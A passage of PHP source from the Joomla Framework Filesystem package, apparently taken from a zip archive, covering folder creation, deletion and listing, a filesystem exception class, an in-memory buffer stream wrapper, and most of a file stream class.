sure the path valid and clean $path = Path::clean($path); // Check if parent dir exists $parent = \dirname($path); if (!is_dir(Path::clean($parent))) { // Prevent infinite loops! $nested++; if (($nested > 20) || ($parent == $path)) { throw new FilesystemException(__METHOD__ . ': Infinite loop detected'); } try { // Create the parent directory if (self::create($parent, $mode) !== true) { // Folder::create throws an error $nested--; return false; } } catch (FilesystemException $exception) { $nested--; throw $exception; } // OK, parent directory has been created $nested--; } // Check if dir already exists if (is_dir(Path::clean($path))) { return true; } // We need to get and explode the open_basedir paths $obd = ini_get('open_basedir'); // If open_basedir is set we need to get the open_basedir that the path is in if ($obd != null) { if (\defined('PHP_WINDOWS_VERSION_MAJOR')) { $obdSeparator = ';'; } else { $obdSeparator = ':'; } // Create the array of open_basedir paths $obdArray = explode($obdSeparator, $obd); $inBaseDir = false; // Iterate through open_basedir paths looking for a match foreach ($obdArray as $test) { $test = Path::clean($test); if (strpos($path, $test) === 0 || strpos($path, realpath($test)) === 0) { $inBaseDir = true; break; } } if ($inBaseDir == false) { // Throw a FilesystemException because the path to be created is not in open_basedir throw new FilesystemException(__METHOD__ . ': Path not in open_basedir paths'); } } // First set umask $origmask = @umask(0); // Create the path if (!$ret = @mkdir($path, $mode)) { @umask($origmask); throw new FilesystemException(__METHOD__ . ': Could not create directory. Path: ' . $path); } // Reset umask @umask($origmask); return $ret; } /** * Delete a folder. * * @param string $path The path to the folder to delete. * * @return boolean True on success. * * @since 1.0 * @throws FilesystemException * @throws \UnexpectedValueException */ public static function delete($path) { @set_time_limit(ini_get('max_execution_time')); // Sanity check if (!$path) { // Bad programmer! Bad Bad programmer! throw new FilesystemException(__METHOD__ . ': You can not delete a base directory.'); } // Check to make sure the path valid and clean $path = Path::clean($path); // Is this really a folder? if (!is_dir($path)) { throw new \UnexpectedValueException( sprintf( '%1$s: Path is not a folder. Path: %2$s', __METHOD__, Path::removeRoot($path) ) ); } // Remove all the files in folder if they exist; disable all filtering $files = self::files($path, '.', false, true, array(), array()); if (!empty($files)) { if (File::delete($files) !== true) { // File::delete throws an error return false; } } // Remove sub-folders of folder; disable all filtering $folders = self::folders($path, '.', false, true, array(), array()); foreach ($folders as $folder) { if (is_link($folder)) { // Don't descend into linked directories, just delete the link. if (File::delete($folder) !== true) { // File::delete throws an error return false; } } elseif (self::delete($folder) !== true) { // Folder::delete throws an error return false; } } // In case of restricted permissions we zap it one way or the other as long as the owner is either the webserver or the ftp. if (@rmdir($path)) { return true; } throw new FilesystemException(sprintf('%1$s: Could not delete folder. Path: %2$s', __METHOD__, $path)); } /** * Moves a folder. * * @param string $src The path to the source folder. * @param string $dest The path to the destination folder. * @param string $path An optional base path to prefix to the file names. * @param boolean $useStreams Optionally use streams. * * @return string|boolean Error message on false or boolean true on success. * * @since 1.0 */ public static function move($src, $dest, $path = '', $useStreams = false) { if ($path) { $src = Path::clean($path . '/' . $src); $dest = Path::clean($path . '/' . $dest); } if (!is_dir(Path::clean($src))) { return 'Cannot find source folder'; } if (is_dir(Path::clean($dest))) { return 'Folder already exists'; } if ($useStreams) { Stream::getStream()->move($src, $dest); return true; } if (!@rename($src, $dest)) { return 'Rename failed'; } return true; } /** * Utility function to read the files in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for file names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the maximum depth. * @param boolean $full True to return the full path to the file. * @param array $exclude Array with names of files which should not be shown in the result. * @param array $excludeFilter Array of filter to exclude * * @return array Files in the given folder. * * @since 1.0 * @throws \UnexpectedValueException */ public static function files($path, $filter = '.', $recurse = false, $full = false, $exclude = array('.svn', 'CVS', '.DS_Store', '__MACOSX'), $excludeFilter = array('^\..*', '.*~') ) { // Check to make sure the path valid and clean $path = Path::clean($path); // Is the path a folder? if (!is_dir($path)) { throw new \UnexpectedValueException( sprintf( '%1$s: Path is not a folder. Path: %2$s', __METHOD__, Path::removeRoot($path) ) ); } // Compute the excludefilter string if (\count($excludeFilter)) { $excludeFilterString = '/(' . implode('|', $excludeFilter) . ')/'; } else { $excludeFilterString = ''; } // Get the files $arr = self::_items($path, $filter, $recurse, $full, $exclude, $excludeFilterString, true); // Sort the files asort($arr); return array_values($arr); } /** * Utility function to read the folders in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for folder names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the maximum depth. * @param boolean $full True to return the full path to the folders. * @param array $exclude Array with names of folders which should not be shown in the result. * @param array $excludeFilter Array with regular expressions matching folders which should not be shown in the result. * * @return array Folders in the given folder. * * @since 1.0 * @throws \UnexpectedValueException */ public static function folders($path, $filter = '.', $recurse = false, $full = false, $exclude = array('.svn', 'CVS', '.DS_Store', '__MACOSX'), $excludeFilter = array('^\..*') ) { // Check to make sure the path valid and clean $path = Path::clean($path); // Is the path a folder? if (!is_dir($path)) { throw new \UnexpectedValueException( sprintf( '%1$s: Path is not a folder. Path: %2$s', __METHOD__, Path::removeRoot($path) ) ); } // Compute the excludefilter string if (\count($excludeFilter)) { $excludeFilterString = '/(' . implode('|', $excludeFilter) . ')/'; } else { $excludeFilterString = ''; } // Get the folders $arr = self::_items($path, $filter, $recurse, $full, $exclude, $excludeFilterString, false); // Sort the folders asort($arr); return array_values($arr); } /** * Function to read the files/folders in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for file names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the maximum depth. * @param boolean $full True to return the full path to the file. * @param array $exclude Array with names of files which should not be shown in the result. * @param string $excludeFilterString Regexp of files to exclude * @param boolean $findfiles True to read the files, false to read the folders * * @return array Files. * * @since 1.0 */ protected static function _items($path, $filter, $recurse, $full, $exclude, $excludeFilterString, $findfiles) { @set_time_limit(ini_get('max_execution_time')); $arr = array(); // Read the source directory if (!($handle = @opendir($path))) { return $arr; } while (($file = readdir($handle)) !== false) { if ($file != '.' && $file != '..' && !\in_array($file, $exclude) && (empty($excludeFilterString) || !preg_match($excludeFilterString, $file))) { // Compute the fullpath $fullpath = Path::clean($path . '/' . $file); // Compute the isDir flag $isDir = is_dir($fullpath); if (($isDir xor $findfiles) && preg_match("/$filter/", $file)) { // (fullpath is dir and folders are searched or fullpath is not dir and files are searched) and file matches the filter if ($full) { // Full path is requested $arr[] = $fullpath; } else { // Filename is requested $arr[] = $file; } } if ($isDir && $recurse) { // Search recursively if (\is_int($recurse)) { // Until depth 0 is reached $arr = array_merge($arr, self::_items($fullpath, $filter, $recurse - 1, $full, $exclude, $excludeFilterString, $findfiles)); } else { $arr = array_merge($arr, self::_items($fullpath, $filter, $recurse, $full, $exclude, $excludeFilterString, $findfiles)); } } } } closedir($handle); return $arr; } /** * Lists folder in format suitable for tree display. * * @param string $path The path of the folder to read. * @param string $filter A filter for folder names. * @param integer $maxLevel The maximum number of levels to recursively read, defaults to three. * @param integer $level The current level, optional. * @param integer $parent Unique identifier of the parent folder, if any. * * @return array Folders in the given folder. * * @since 1.0 */ public static function listFolderTree($path, $filter, $maxLevel = 3, $level = 0, $parent = 0) { $dirs = array(); if ($level == 0) { $GLOBALS['_JFolder_folder_tree_index'] = 0; } if ($level < $maxLevel) { $folders = self::folders($path, $filter); // First path, index foldernames foreach ($folders as $name) { $id = ++$GLOBALS['_JFolder_folder_tree_index']; $fullName = Path::clean($path . '/' . $name); $dirs[] = array( 'id' => $id, 'parent' => $parent, 'name' => $name, 'fullname' => $fullName, 'relname' => str_replace(JPATH_ROOT, '', $fullName), ); $dirs2 = self::listFolderTree($fullName, $filter, $maxLevel, $level + 1, $id); $dirs = array_merge($dirs, $dirs2); } } return $dirs; } /** * Makes path name safe to use. * * @param string $path The full path to sanitise. * * @return string The sanitised string. * * @since 1.0 */ public static function makeSafe($path) { $regex = array('#[^A-Za-z0-9_\\\/\(\)\[\]\{\}\#\$\^\+\.\'~`!@&=;,-]#'); return preg_replace($regex, '', $path); } } PKÜ�\�uM��>vendor/joomla/filesystem/src/Exception/FilesystemException.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem\Exception; use Joomla\Filesystem\Path; /** * Exception class for handling errors in the Filesystem package * * @since 1.2.0 * @change 1.6.2 If the message containes a full path, the root path (JPATH_ROOT) is removed from it * to avoid any full path disclosure. Before 1.6.2, the path was propagated as provided. */ class FilesystemException extends \RuntimeException { /** * Constructor. * * @param string $message The message * @param integer $code The code * @param \Throwable|null $previous A previous exception */ public function __construct($message = "", $code = 0, \Throwable $previous = null) { parent::__construct( Path::removeRoot($message), $code, $previous ); } } PKÜ�\�G�hh'vendor/joomla/filesystem/src/Buffer.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem; /** * Generic Buffer stream handler * * This class provides a generic buffer stream. It can be used to store/retrieve/manipulate * string buffers with the standard PHP filesystem I/O methods. * * @since 1.0 */ class Buffer { /** * Stream position * * @var integer * @since 1.0 */ public $position = 0; /** * Buffer name * * @var string * @since 1.0 */ public $name; /** * Buffer hash * * @var array * @since 1.0 */ public $buffers = array(); /** * Function to open file or url * * @param string $path The URL that was passed * @param string $mode Mode used to open the file @see fopen * @param integer $options Flags used by the API, may be STREAM_USE_PATH and STREAM_REPORT_ERRORS * @param string $openedPath Full path of the resource. Used with STREAN_USE_PATH option * * @return boolean * * @since 1.0 * @see streamWrapper::stream_open */ public function stream_open($path, $mode, $options, &$openedPath) { $url = parse_url($path); $this->name = $url['host']; $this->buffers[$this->name] = null; $this->position = 0; return true; } /** * Read stream * * @param integer $count How many bytes of data from the current position should be returned. * * @return mixed The data from the stream up to the specified number of bytes (all data if * the total number of bytes in the stream is less than $count. Null if * the stream is empty. * * @see streamWrapper::stream_read * @since 1.0 */ public function stream_read($count) { $ret = substr($this->buffers[$this->name], $this->position, $count); $this->position += \strlen($ret); return $ret; } /** * Write stream * * @param string $data The data to write to the stream. * * @return integer * * @see streamWrapper::stream_write * @since 1.0 */ public function stream_write($data) { $left = substr($this->buffers[$this->name], 0, $this->position); $right = substr($this->buffers[$this->name], $this->position + \strlen($data)); $this->buffers[$this->name] = $left . $data . $right; $this->position += \strlen($data); return \strlen($data); } /** * Function to get the current position of the stream * * @return integer * * @see streamWrapper::stream_tell * @since 1.0 */ public function stream_tell() { return $this->position; } /** * Function to test for end of file pointer * * @return boolean True if the pointer is at the end of the stream * * @see streamWrapper::stream_eof * @since 1.0 */ public function stream_eof() { return $this->position >= \strlen($this->buffers[$this->name]); } /** * The read write position updates in response to $offset and $whence * * @param integer $offset The offset in bytes * @param integer $whence Position the offset is added to * Options are SEEK_SET, SEEK_CUR, and SEEK_END * * @return boolean True if updated * * @see streamWrapper::stream_seek * @since 1.0 */ public function stream_seek($offset, $whence) { switch ($whence) { case \SEEK_SET: if ($offset < \strlen($this->buffers[$this->name]) && $offset >= 0) { $this->position = $offset; return true; } return false; case \SEEK_CUR: if ($offset >= 0) { $this->position += $offset; return true; } return false; case \SEEK_END: if (\strlen($this->buffers[$this->name]) + $offset >= 0) { $this->position = \strlen($this->buffers[$this->name]) + $offset; return true; } return false; default: return false; } } } // Register the stream stream_wrapper_register('buffer', 'Joomla\\Filesystem\\Buffer'); PKÜ�\�+_H�H�'vendor/joomla/filesystem/src/Stream.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem; use Joomla\Filesystem\Exception\FilesystemException; /** * Joomla! Stream Interface * * The Joomla! stream interface is designed to handle files as streams * where as the legacy JFile static class treated files in a rather * atomic manner. * * This class adheres to the stream wrapper operations: * * @link https://www.php.net/manual/en/function.stream-get-wrappers.php * @link https://www.php.net/manual/en/intro.stream.php PHP Stream Manual * @link https://www.php.net/manual/en/wrappers.php Stream Wrappers * @link https://www.php.net/manual/en/filters.php Stream Filters * @link https://www.php.net/manual/en/transports.php Socket Transports (used by some options, particularly HTTP proxy) * @since 1.0 */ class Stream { /** * File Mode * * @var integer * @since 1.0 */ protected $filemode = 0644; /** * Directory Mode * * @var integer * @since 1.0 */ protected $dirmode = 0755; /** * Default Chunk Size * * @var integer * @since 1.0 */ protected $chunksize = 8192; /** * Filename * * @var string * @since 1.0 */ protected $filename; /** * Prefix of the connection for writing * * @var string * @since 1.0 */ protected $writeprefix; /** * Prefix of the connection for reading * * @var string * @since 1.0 */ protected $readprefix; /** * Read Processing method * * @var string gz, bz, f * If a scheme is detected, fopen will be defaulted * To use compression with a network stream use a filter * @since 1.0 */ protected $processingmethod = 'f'; /** * Filters applied to the current stream * * @var array * @since 1.0 */ protected $filters = array(); /** * File Handle * * @var resource * @since 1.0 */ protected $fh; /** * File size * * @var integer * @since 1.0 */ protected $filesize; /** * Context to use when opening the connection * * @var string * @since 1.0 */ protected $context; /** * Context options; used to rebuild the context * * @var array * @since 1.0 */ protected $contextOptions; /** * The mode under which the file was opened * * @var string * @since 1.0 */ protected $openmode; /** * Constructor * * @param string $writeprefix Prefix of the stream (optional). Unlike the JPATH_*, this has a final path separator! * @param string $readprefix The read prefix (optional). * @param array $context The context options (optional). * * @since 1.0 */ public function __construct($writeprefix = '', $readprefix = '', $context = array()) { $this->writeprefix = $writeprefix; $this->readprefix = $readprefix; $this->contextOptions = $context; $this->_buildContext(); } /** * Destructor * * @since 1.0 */ public function __destruct() { // Attempt to close on destruction if there is a file handle if ($this->fh) { @$this->close(); } } /** * Creates a new stream object with appropriate prefix * * @param boolean $usePrefix Prefix the connections for writing * @param string $ua UA User agent to use * @param boolean $uamask User agent masking (prefix Mozilla) * * @return Stream * * @see Stream * @since 1.0 */ public static function getStream($usePrefix = true, $ua = null, $uamask = false) { // Setup the context; Joomla! UA and overwrite $context = array(); // Set the UA for HTTP $context['http']['user_agent'] = $ua ?: 'Joomla! Framework Stream'; if ($usePrefix) { return new Stream(JPATH_ROOT . '/', JPATH_ROOT, $context); } return new Stream('', '', $context); } /** * Generic File Operations * * Open a stream with some lazy loading smarts * * @param string $filename Filename * @param string $mode Mode string to use * @param boolean $useIncludePath Use the PHP include path * @param resource $context Context to use when opening * @param boolean $usePrefix Use a prefix to open the file * @param boolean $relative Filename is a relative path (if false, strips JPATH_ROOT to make it relative) * @param boolean $detectprocessingmode Detect the processing method for the file and use the appropriate function * to handle output automatically * * @return boolean * * @since 1.0 * @throws FilesystemException */ public function open($filename, $mode = 'r', $useIncludePath = false, $context = null, $usePrefix = false, $relative = false, $detectprocessingmode = false ) { $filename = $this->_getFilename($filename, $mode, $usePrefix, $relative); if (!$filename) { throw new FilesystemException('Filename not set'); } $this->filename = $filename; $this->openmode = $mode; $url = parse_url($filename); if (isset($url['scheme'])) { $scheme = ucfirst($url['scheme']); // If we're dealing with a Joomla! stream, load it if (Helper::isJoomlaStream($scheme)) { // Map to StringWrapper if required if ($scheme === 'String') { $scheme = 'StringWrapper'; } require_once __DIR__ . '/Stream/' . $scheme . '.php'; } // We have a scheme! force the method to be f $this->processingmethod = 'f'; } elseif ($detectprocessingmode) { $ext = strtolower(pathinfo($this->filename, \PATHINFO_EXTENSION)); switch ($ext) { case 'tgz': case 'gz': case 'gzip': $this->processingmethod = 'gz'; break; case 'tbz2': case 'bz2': case 'bzip2': $this->processingmethod = 'bz'; break; default: $this->processingmethod = 'f'; break; } } // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } // Decide which context to use: switch ($this->processingmethod) { // Gzip doesn't support contexts or streams case 'gz': $this->fh = gzopen($filename, $mode, $useIncludePath); break; // Bzip2 is much like gzip except it doesn't use the include path case 'bz': $this->fh = bzopen($filename, $mode); break; // Fopen can handle streams case 'f': default: // One supplied at open; overrides everything if ($context) { $this->fh = @fopen($filename, $mode, $useIncludePath, $context); } elseif ($this->context) { // One provided at initialisation $this->fh = @fopen($filename, $mode, $useIncludePath, $this->context); } else { // No context; all defaults $this->fh = @fopen($filename, $mode, $useIncludePath); } break; } if (!$this->fh) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => sprintf('Unknown error opening file %s', $filename) ); } throw new FilesystemException($error['message']); } // Return the result return true; } /** * Attempt to close a file handle * * Will return false if it failed and true on success * If the file is not open the system will return true, this function destroys the file handle as well * * @return boolean * * @since 1.0 * @throws FilesystemException */ public function close() { if (!$this->fh) { throw new FilesystemException('File not open'); } // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } switch ($this->processingmethod) { case 'gz': $res = gzclose($this->fh); break; case 'bz': $res = bzclose($this->fh); break; case 'f': default: $res = fclose($this->fh); break; } if (!$res) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to close stream' ); } throw new FilesystemException($error['message']); } // Reset this $this->fh = null; // If we wrote, chmod the file after it's closed if ($this->openmode[0] == 'w') { $this->chmod(); } // Return the result return true; } /** * Work out if we're at the end of the file for a stream * * @return boolean * * @since 1.0 * @throws FilesystemException */ public function eof() { if (!$this->fh) { throw new FilesystemException('File not open'); } // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } switch ($this->processingmethod) { case 'gz': $res = gzeof($this->fh); break; case 'bz': case 'f': default: $res = feof($this->fh); break; } $error = error_get_last(); if ($error !== null && $error['message'] !== '') { throw new FilesystemException($error['message']); } // Return the result return $res; } /** * Retrieve the file size of the path * * @return integer|boolean * * @since 1.0 * @throws FilesystemException */ public function filesize() { if (!$this->filename) { throw new FilesystemException('File not open'); } // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $res = @filesize($this->filename); if (!$res) { $res = Helper::remotefsize($this->filename); } if (!$res) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Failed to get file size. This may not work for all streams.' ); } throw new FilesystemException($error['message']); } $this->filesize = $res; // Return the result return $this->filesize; } /** * Get a line from the stream source. * * @param integer $length The number of bytes (optional) to read. * * @return string * * @since 1.0 * @throws FilesystemException */ public function gets($length = 0) { if (!$this->fh) { throw new FilesystemException('File not open'); } // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } switch ($this->processingmethod) { case 'gz': $res = $length ? gzgets($this->fh, $length) : gzgets($this->fh); break; case 'bz': case 'f': default: $res = $length ? fgets($this->fh, $length) : fgets($this->fh); break; } if (!$res) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to read from stream' ); } throw new FilesystemException($error['message']); } // Return the result return $res; } /** * Read a file * * Handles user space streams appropriately otherwise any read will return 8192 * * @param integer $length Length of data to read * * @return string * * @link https://www.php.net/manual/en/function.fread.php * @since 1.0 * @throws FilesystemException */ public function read($length = 0) { if (!$this->fh) { throw new FilesystemException('File not open'); } if (!$this->filesize && !$length) { // Get the filesize $this->filesize(); if (!$this->filesize) { // Set it to the biggest and then wait until eof $length = -1; } else { $length = $this->filesize; } } $retval = false; // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $remaining = $length; do { // Do chunked reads where relevant switch ($this->processingmethod) { case 'bz': $res = ($remaining > 0) ? bzread($this->fh, $remaining) : bzread($this->fh, $this->chunksize); break; case 'gz': $res = ($remaining > 0) ? gzread($this->fh, $remaining) : gzread($this->fh, $this->chunksize); break; case 'f': default: $res = ($remaining > 0) ? fread($this->fh, $remaining) : fread($this->fh, $this->chunksize); break; } if (!$res) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to read from stream' ); } throw new FilesystemException($error['message']); } if (!$retval) { $retval = ''; } $retval .= $res; if (!$this->eof()) { $len = \strlen($res); $remaining -= $len; } else { // If it's the end of the file then we've nothing left to read; reset remaining and len $remaining = 0; $length = \strlen($retval); } } while ($remaining || !$length); // Return the result return $retval; } /** * Seek the file * * Note: the return value is different to that of fseek * * @param integer $offset Offset to use when seeking. * @param integer $whence Seek mode to use. * * @return boolean True on success, false on failure * * @link https://www.php.net/manual/en/function.fseek.php * @since 1.0 * @throws FilesystemException */ public function seek($offset, $whence = \SEEK_SET) { if (!$this->fh) { throw new FilesystemException('File not open'); } // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } switch ($this->processingmethod) { case 'gz': $res = gzseek($this->fh, $offset, $whence); break; case 'bz': case 'f': default: $res = fseek($this->fh, $offset, $whence); break; } // Seek, interestingly, returns 0 on success or -1 on failure. if ($res == -1) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to seek in stream' ); } throw new FilesystemException($error['message']); } // Return the result return true; } /** * Returns the current position of the file read/write pointer. * * @return integer * * @since 1.0 * @throws FilesystemException */ public function tell() { if (!$this->fh) { throw new FilesystemException('File not open'); } // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } switch ($this->processingmethod) { case 'gz': $res = gztell($this->fh); break; case 'bz': case 'f': default: $res = ftell($this->fh); break; } // May return 0 so check if it's really false if ($res === false) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to determine the current position in stream' ); } throw new FilesystemException($error['message']); } // Return the result return $res; } /** * File write * * Whilst this function accepts a reference, the underlying fwrite * will do a copy! This will roughly double the memory allocation for * any write you do. Specifying chunked will get around this by only * writing in specific chunk sizes. This defaults to 8192 which is a * sane number to use most of the time (change the default with * Stream::set('chunksize', newsize);) * Note: This doesn't support gzip/bzip2 writing like reading does * * @param string $string Reference to the string to write. * @param integer $length Length of the string to write. * @param integer $chunk Size of chunks to write in. * * @return boolean * * @link https://www.php.net/manual/en/function.fwrite.php * @since 1.0 * @throws FilesystemException */ public function write(&$string, $length = 0, $chunk = 0) { if (!$this->fh) { throw new FilesystemException('File not open'); } if ($this->openmode == 'r') { throw new \RuntimeException('File is in readonly mode'); } // If the length isn't set, set it to the length of the string. if (!$length) { $length = \strlen($string); } // If the chunk isn't set, set it to the default. if (!$chunk) { $chunk = $this->chunksize; } $retval = true; // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $remaining = $length; $start = 0; do { // If the amount remaining is greater than the chunk size, then use the chunk $amount = ($remaining > $chunk) ? $chunk : $remaining; $res = fwrite($this->fh, substr($string, $start), $amount); // Returns false on error or the number of bytes written if ($res === false) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to write to stream' ); } throw new FilesystemException($error['message']); } if ($res === 0) { // Wrote nothing? throw new FilesystemException('Warning: No data written'); } // Wrote something $start += $amount; $remaining -= $res; } while ($remaining); // Return the result return $retval; } /** * Chmod wrapper * * @param string $filename File name. * @param mixed $mode Mode to use. * * @return boolean * * @since 1.0 * @throws FilesystemException */ public function chmod($filename = '', $mode = 0) { if (!$filename) { if (!isset($this->filename) || !$this->filename) { throw new FilesystemException('Filename not set'); } $filename = $this->filename; } // If no mode is set use the default if (!$mode) { $mode = $this->filemode; } // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $sch = parse_url($filename, \PHP_URL_SCHEME); // Scheme specific options; ftp's chmod support is fun. switch ($sch) { case 'ftp': case 'ftps': $res = Helper::ftpChmod($filename, $mode); break; default: $res = chmod($filename, $mode); break; } if ($res === false) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to change mode of stream' ); } throw new FilesystemException($error['message']); } // Return the result return true; } /** * Get the stream metadata * * @return array header/metadata * * @link https://www.php.net/manual/en/function.stream-get-meta-data.php * @since 1.0 * @throws FilesystemException */ public function get_meta_data() { if (!$this->fh) { throw new FilesystemException('File not open'); } return stream_get_meta_data($this->fh); } /** * Stream contexts * Builds the context from the array * * @return void * * @since 1.0 */ public function _buildContext() { // According to the manual this always works! if (\count($this->contextOptions)) { $this->context = @stream_context_create($this->contextOptions); } else { $this->context = null; } } /** * Updates the context to the array * * Format is the same as the options for stream_context_create * * @param array $context Options to create the context with * * @return void * * @link https://www.php.net/stream_context_create * @since 1.0 */ public function setContextOptions($context) { $this->contextOptions = $context; $this->_buildContext(); } /** * Adds a particular options to the context * * @param string $wrapper The wrapper to use * @param string $name The option to set * @param string $value The value of the option * * @return void * * @link https://www.php.net/stream_context_create Stream Context Creation * @link https://www.php.net/manual/en/context.php Context Options for various streams * @since 1.0 */ public function addContextEntry($wrapper, $name, $value) { $this->contextOptions[$wrapper][$name] = $value; $this->_buildContext(); } /** * Deletes a particular setting from a context * * @param string $wrapper The wrapper to use * @param string $name The option to unset * * @return void * * @link https://www.php.net/stream_context_create * @since 1.0 */ public function deleteContextEntry($wrapper, $name) { // Check whether the wrapper is set if (isset($this->contextOptions[$wrapper])) { // Check that entry is set for that wrapper if (isset($this->contextOptions[$wrapper][$name])) { // Unset the item unset($this->contextOptions[$wrapper][$name]); // Check that there are still items there if (!\count($this->contextOptions[$wrapper])) { // Clean up an empty wrapper context option unset($this->contextOptions[$wrapper]); } } } // Rebuild the context and apply it to the stream $this->_buildContext(); } /** * Applies the current context to the stream * * Use this to change the values of the context after you've opened a stream * * @return boolean * * @since 1.0 * @throws FilesystemException */ public function applyContextToStream() { $retval = false; if ($this->fh) { // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $retval = @stream_context_set_option($this->fh, $this->contextOptions); if (!$retval) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to apply context to stream' ); } throw new FilesystemException($error['message']); } } return $retval; } /** * Stream filters * Append a filter to the chain * * @param string $filtername The key name of the filter. * @param integer $readWrite Optional. Defaults to STREAM_FILTER_READ. * @param array $params An array of params for the stream_filter_append call. * * @return resource|boolean * * @link https://www.php.net/manual/en/function.stream-filter-append.php * @since 1.0 * @throws FilesystemException */ public function appendFilter($filtername, $readWrite = \STREAM_FILTER_READ, $params = array()) { $res = false; if ($this->fh) { // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $res = @stream_filter_append($this->fh, $filtername, $readWrite, $params); if (!$res) { $error = error_get_last(); if ($error !== null && $error['message'] !== '') { throw new FilesystemException($error['message']); } } $this->filters[] = &$res; } return $res; } /** * Prepend a filter to the chain * * @param string $filtername The key name of the filter. * @param integer $readWrite Optional. Defaults to STREAM_FILTER_READ. * @param array $params An array of params for the stream_filter_prepend call. * * @return resource|boolean * * @link https://www.php.net/manual/en/function.stream-filter-prepend.php * @since 1.0 * @throws FilesystemException */ public function prependFilter($filtername, $readWrite = \STREAM_FILTER_READ, $params = array()) { $res = false; if ($this->fh) { // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $res = @stream_filter_prepend($this->fh, $filtername, $readWrite, $params); if (!$res) { $error = error_get_last(); if ($error !== null && $error['message'] !== '') { throw new FilesystemException($error['message']); } } array_unshift($this->filters, ''); $this->filters[0] = &$res; } return $res; } /** * Remove a filter, either by resource (handed out from the append or 